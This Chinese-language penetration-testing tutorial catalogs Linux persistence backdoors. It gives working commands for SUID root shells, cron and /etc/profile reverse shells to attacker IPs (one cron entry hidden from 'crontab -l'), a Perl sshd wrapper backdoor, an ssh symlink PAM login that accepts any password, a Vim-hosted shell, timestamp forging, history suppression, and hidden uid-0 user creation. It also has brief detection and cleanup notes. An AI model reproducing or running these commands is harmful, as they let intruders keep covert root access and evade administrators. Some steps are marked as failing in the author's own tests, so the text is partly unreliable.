suid后门(需要root权限):
SUID是Linux的一种权限机制,具有这种权限的文件会在其执行时,使调用者暂时获得该文件拥有者的权限。如果拥有SUID权限,那么就可以利用系统中的二进制文件和工具来进行root提权。
suid shell 是可以以shell所有者权限运行的shell
suid shell 是可以以shell所有者权限运行的shell
suid shell 是可以以shell所有者权限运行的shell
重要的事情说三遍!!!
必要条件(敲黑板,重点!):
1、SUID权限仅对二进制程序有效。
2、执行者对于该程序需要具有x的可执行权限
3、本权限仅在执行该程序的过程中有效
4、在执行过程中执行者将具有该程序拥有者的权限
利用过程:
- 首先通过root权限复制创建一个shell,然后设置成suid shell。
cp /bin/bash /tmp/.shell
chmod u+s /tmp/.shell
实现效果:通过普通用户登录,借助root权限执行命令
痕迹清理:
rm -rf /tmp/.shell
防御手段:查找具有suid权限的文件并删除它
下面的命令可以发现所有的系统中运行的SUID可执行文件:
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
当然,上面的命令也可为攻击者所用,找到系统中运行的SUID可执行文件。
具体利用方法请参考:
对SUID可提权Root Shell的探究
suid后门(suid shell)
ssh利用公钥免密登录:
原理:攻击者将自己的 ssh 公钥写入目标服务器的 /root/.ssh 文件夹的 authotrized_keys 文件中,进而可以使用对应私钥直接使用 ssh 服务登录目标服务器
攻击机:任意有网卡的主机,能正常上网
目标机:有公网IP即可
攻击者想配置免密登录连接受害者
攻击机上执行:
ssh-keygen -b 4096 -t rsa
一路回车回车默认就行,在/root/.ssh/目录下生成了两个文件:
id_rsa、id_rsa.pub
然后将id_rsa.pub全部copy文件内容
复制到目标主机该文件中(如果原来存在内容就另起一行粘贴):
/root/.ssh/authorized_keys
这里注意要在文件内容的前面和后面都加上 \n\n\n 换行符才行,否则会导致利用失败
攻击者利用公钥登录:
ssh -i /root/.ssh/id_rsa root@119.x.x.x
计划任务:
在Linux系统中,计划任务一般是由cron承担,我们可以把cron设置为开机时自动启动。cron启动后,它会读取它的所有配置文件(全局性配置文件/etc/crontab,以及每个用户的计划任务配置文件),然后cron会根据命令和执行时间来按时来调用工作任务
Cron 表达式生成网站:https://qqe2.com/cron
计划任务使用的是/bin/sh,直接通过bash反弹shell是行不通的(通过bash反弹仅适用于centos)
echo -e "*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"192.168.107.133\",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call([\"/bin/sh\",\"-i\"]);'"|crontab -
echo -e "*/1 * * * * perl -e 'use Socket;\$i=\"192.168.107.133\";\$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'"|crontab -
# 适用于centos,本地测试失败
(crontab -l;echo '*/1 * * * * exec 9<> /dev/tcp/192.168.107.133/8888;exec 0<&9;exec 1>&9 2>&1;/bin/bash --noprofile -i')|crontab -
隐蔽用法:
下面命令执行后会显示"no crontab for root"。其实就达到了一个隐藏的效果,这时候管理员如果执行 crontab -l 就会看到显示"no crontab for root"
(crontab -l;printf "*/1 * * * * /bin/bash /home/b4yi/kali-6666.elf;/bin/bash --noprofile -i;\rno crontab for `whoami`%100c\n")|crontab -
cat 是看不到这个的,只能利用 less、vim 或者 cat -A 看到,这也是利用了cat的一个缺陷
本地测试结果:未能成功执行,没有反弹到msf上
这个坑留到以后再说
将反弹shell的命令写入/etc/profile文件:
将以下反弹shell的命写入/etc/profile文件中,/etc/profile中的内容会在用户打开bash窗口时执行
/bin/bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1
当目标主机管理员远程连接该主机时,就会执行该命令,成功获得目标机的shell
动态加载库:
linux操作系统的动态链接库在加载过程中,动态链接器会先读取LD_PRELOAD环境变量和默认配置文件/etc/ld.so.preload,并将读取到的动态链接库文件进行预加载,即使程序不依赖这些动态链接库,LD_PRELOAD环境变量和/etc/ld.so.preload配置文件中指定的动态链接库依然会被装载,因为它们的优先级比LD_LIBRARY_PATH环境变量所定义的链接库查找路径的文件优先级要高,所以能够提前于用户调用的动态库载入。这种后门推荐使用静态编译的ls、ps等命令或者busybox进行查找。
利用手段:
export LD_PRELOAD=./xx.so
#这时候./xx.so中如果对函数进行了重定义,调用了该函数的程序就会执行重定义的代码
检测手段:
echo $LD_PRELOAD
#默认无输出,如果有输出就需要去看下文件是否为异常文件了
清除手段:
unset LD_PRELOAD
#使用命令unset LD_PRELOAD即可卸载使用LD_PRELOAD环境变量安装的恶意动态链接库
这里使用以下项目:
https://github.com/Screetsec/Vegile
1、将MSF木马-shell和Vegile上传到目标服务器上
2、chmod 777 Vegile shell
3、./Vegile --u shell
清理起来十分麻烦,因为直接删除进程是删不掉的,因此存在父进程与多个子进程。
清除思路:挂起父进程,清除所有子进程再删除父进程
wrapper后门(需要root权限):
init首先启动的是/usr/sbin/sshd,脚本执行到getpeername这里的时候,正则匹配会失败,于是执行下一句,启动/usr/bin/sshd,这是原始sshd。原始的sshd监听端口建立了tcp连接后,会fork一个子进程处理具体工作。这个子进程,没有什么检验,而是直接执行系统默认的位置的/usr/sbin/sshd,这样子控制权又回到脚本了。此时子进程标准输入输出已被重定向到套接字,getpeername能真的获取到客户端的TCP源端口,如果是19526就执行sh给个shell。
简单点就是从sshd fork出一个子进程,输入输出重定向到套接字,并对连过来的客户端端口进行了判断。
整个脚本在第二行执行了个if,如果端口符合要求,则直接建立连接,否则正常执行sshd。
LF代表开启的端口号是19526
#服务端执行:
cd /usr/sbin
mv sshd ../bin
echo '#!/usr/bin/perl' > sshd
echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..LF/);' >>sshd
echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
chmod u+x sshd
/etc/init.d/sshd restart
#客户端执行:
socat STDIO TCP4:target_ip:22,souceport=19526
#其中x00x00LF是19526的大端形式,便于传输和处理。如果你想修改源端口,可以用python的struct标准库实现
>>> import struct
>>> buffer = struct.pack('>I6',19526)
>>> print repr(buffer)
'\x00\x00LF'
>>> buffer = struct.pack('>I6',13377)
>>> print buffer
4A
优点:
1、隐蔽性较强,无需要编译,使用于大部分环境中.
2、在无连接后门的情况下,管理员是看不到端口和进程的,last也查不到登陆.
缺点:
1、需要重启sshd进程.
痕迹清理:
#删除自定义的sshd
rm -rf /usr/sbin/sshd
#将同版本的sshd拷贝到对应目录下
mv /usr/bin/sshd /usr/sbin/sshd
检测手段:
检查网络链接情况及文件
cat /usr/sbin/sshd
清除手段:
rm -rf /usr/sbin/sshd; mv /usr/bin/sshd ../sbin;
ssh软连接(需要root权限):
ssh软连接后门原理:
1、Linux软连接ssh后门需要ssh配置允许PAM认证才能使用
2、将sshd文件软连接名称设置为su,这样应用在启动过程中他会去PAM配置文件夹中寻找是否存在对应名称的配置信息(su)
3、如果被控主机不允许root登陆可用其他已存在用户登陆
4、通过软连接的方式,实质上PAM认证是通过软连接的文件名(如:/tmp/su,/home/su)在/etc/pam.d/目录下寻找对应的PAM配置文件(如:/etc/pam.d/su)
5、任意密码登陆的核心是auth sufficient pam_rootok.so,只要PAM配置文件中包含此配置即可SSH任意密码登陆,,除了su中之外还有chsh、chfn同样可以。
步骤:
目标机器执行(任选其一):
ln -sf /usr/sbin/sshd /usr/local/su;/usr/local/su -oport=12345
ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oport=12345
ln -sf /usr/sbin/sshd /tmp/chsh;/tmp/chsh -oport=12345
ln -sf /usr/sbin/sshd /tmp/chfn;/tmp/chfn -oport=12345
Attacker执行:
ssh b4yi@目标ip -p 12345
检测手段:
1、查看可疑端口
netstat -antlp
netstat -antp | gerp -E "su|chfn|chsh"
#找到进程号xxx
ps aux | grep xxx
#找到软连接位置/aaa/bbb/su
kill xxx
rm -rf /aaa/bbb/su
2、查看可执行文件
ls -al /tmp/su
防御手段:
1、禁止PAM认证
vim /etc/ssh/sshd_config
UsePAM no
2、重载
/etc/init.d/sshd reload
说明:建立软连接到/usr/local/su 文件,也可以在其他目录,su文件名字不能变,变了就无法登录。当然可以通过其他设置,更改su名字也是可以的,然后启动,并指定监听12345端口,登录的时候密码随意即可。
具体原理参考:Linux的一个后门引发对PAM的探究
具体配置参考:Linux安全策略配置之PAM身份验证模块使用方法总结
协议后门:
在一些访问控制做的比较严格的环境中,由内到外的TCP流量会被阻断掉。但是对于UDP(DNS、ICMP)相关流量通常不会拦截。
ICMP(需要root权限):
主要原理就是利用ICMP中可控的data字段进行数据传输。
具体原理请参考:小白必看!ICMP隐蔽隧道从入门到精通
ICMP后门项目地址:https://github.com/andreafabrizi/prism
使用此操作模式,后门静悄悄地在后台等待特定的 ICMP 数据包包含要连接回的主机/端口和防止第三方访问的私钥。
复现流程:
1、首先,运行netcat在攻击者的机器上等待从后门进来的连接:
nc -l -p 6666
2、编译prism.c,生成后门,即可执行文件prism
gcc -DDETACH -m32 -Wall -s -o prism prism.c
3、将生成的后门prism上传至目标服务器,并运行
4、客户端输入命令:
./sendPacket.py 受害者IP 密钥 客户端IP 客户端端口
比如:./sendPacket.py 192.168.0.1 p4ssw0rd 192.168.0.10 6666
查看发送的ICMP数据包:
效果如图:
检测手段:
对应ICMP这种协议后门,直接查看网络连接即可,因为在使用过程中会产生大量的网络连接
VIM后门:
Vim是从 vi 发展出来的一个文本编辑器。代码补全,编译及错误跳转等方便编程的功能特别丰富,在程序员中被广泛使用,和Emacs并列成为类Unix系统用户最喜欢的文本编辑器。
使用条件:
1、安装了VIM编辑器
2、python扩展(绝大版本默认已安装)
首先使用一个python开启本地监听端口8888的脚本
from socket import *
import subprocess
import os, threading, sys, time
if __name__ == "__main__":
server=socket(AF_INET,SOCK_STREAM)
server.bind(('0.0.0.0',8888))
server.listen(5)
print 'waiting for connect'
talk, addr = server.accept()
print 'connect from',addr
proc = subprocess.Popen(["/bin/sh","-i"], stdin=talk,
stdout=talk, stderr=talk, shell=True)
找到提供vim插件的python的扩展包目录
vim --version #查看使用的python版本
找到python的扩展位置
pip show requests
进入目录:
cd /usr/lib/python2.7/site-packages
将以上准备的py文件复制到此目录下
运行,并删除文件
$(nohup vim -E -c "pyfile shell.py"> /dev/null 2>&1 &) && sleep 2 && rm -f shell.py
清除痕迹
ps aux|grep vim
#获取pid
kill pid
检测手段:
由于是通过vim执行的,所以使用ps和netstat仍可以看到vim的相关进程
netstat -antlp | grep vim
more /proc/PID/cmdline
more /proc/PID/maps | grep python
本地环境复现失败了,就不放图了。。。先记着
隐藏文件:
Linux下创建一个隐藏文件:touch .test.txt
touch命令可以创建一个文件,文件名前面加一个点就代表是隐藏文件,如下图:
一般的Linux下的隐藏目录使用命令ls -l是查看不出来的,只能查看到文件及文件夹,查看Linux下的隐藏文件需要用到命令:ls -al
这里,我们可以看到在/tmp下,默认存在多个隐藏目录,这些目录是恶意文件常用来藏身的地方。如/temp/.ICE-unix/、/temp/.Test-unix/、/temp/.X11-unix/、/temp/.XIM-unix/
隐藏文件时间戳:
Unix 下藏后门必须要修改时间,否则很容易被发现,直接利用 touch 就可以了。
比如参考 index.php 的时间,再赋给 webshell.php,结果两个文件的时间就一样了。
利用方法:
touch -r index.php webshell.php
或者直接将时间戳修改成某年某月某日。如下 2014 年 01 月 02 日。
touch -t 1401021042.30 webshell.php
利用chattr修改文件属性:
在Linux中,使用chattr命令来防止root和其他管理用户误删除和修改重要文件及目录,此权限用ls -l是查看不出来的,从而达到隐藏权限的目的。
a:让文件或目录仅供附加用途。
b:不更新文件或目录的最后存取时间。
c:将文件或目录压缩后存放。
d:将文件或目录排除在倾倒操作之外。
i:不得任意更动文件或目录。
s:保密性删除文件或目录。
S:即时更新文件或目录。
u:预防意外删除。
chattr +i evil.php 锁定文件
lsattr evil.php 属性查看
chattr -i evil.php 解除锁定
rm -rf 1.evil.php 删除文件
隐藏历史操作命令
(Space)set +o history #只针对你的工作关闭历史记录,临时禁用历史功能
(Space)set -o history #恢复历史记录
注意set前面有个空格
添加普通用户:
# 创建一个用户名guest,密码123456的普通用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest
# useradd -p 方法 ` ` 是用来存放可执行的系统命令,"$()"也可以存放命令执行语句
useradd -p "$(openssl passwd -1 123456)" guest
# chpasswd方法
useradd guest;echo 'guest:123456'|chpasswd
# echo -e方法
useradd test;echo -e "123456\n123456\n" |passwd test
添加root用户:
# 创建一个用户名guest,密码123456的root用户
useradd -p `openssl passwd -1 -salt 'salt' 123456` guest -o -u 0 -g root -G root -s /bin/bash -d /home/test
# 创建root权限用户,账号backdoor/123456
useradd -u 0 -o -g root -G root backdoor
echo 123456:password|chpasswd
#通过直接对etc/passwd文件进行写入
perl -e 'print crypt("123456", "AA"). "\n"' #首先用perl算一下123456加密后的结果
# 123456加密后的结果为AASwmzPNx.3sg
echo "backdoor:123456:0:0:me:/root:/bin/bash">>/etc/passwd #直接写入etc/passwd中
清理痕迹:
userdel -f backdoor
可疑用户排查技巧:
# 查询特权用户特权用户(uid 为0)
[root@localhost ~]# awk -F: '$3==0{print $1}' /etc/passwd
# 查询可以远程登录的帐号信息,需要root权限
[root@localhost ~]# awk '/\$1|\$6/{print $1}' /etc/shadow
# 除root帐号外,其他帐号是否存在sudo权限。如非管理需要,普通帐号应删除sudo权限,需要root权限查看
[root@localhost ~]# more /etc/sudoers | grep -v "^#\|^$" | grep "ALL=(ALL)"
参考如下:
ssh 软连接后门使用
渗透测试-权限维持
Linux、Windows权限维持常用后门学习总结
Linux常见的持久化后门汇总
[总结]Linux权限维持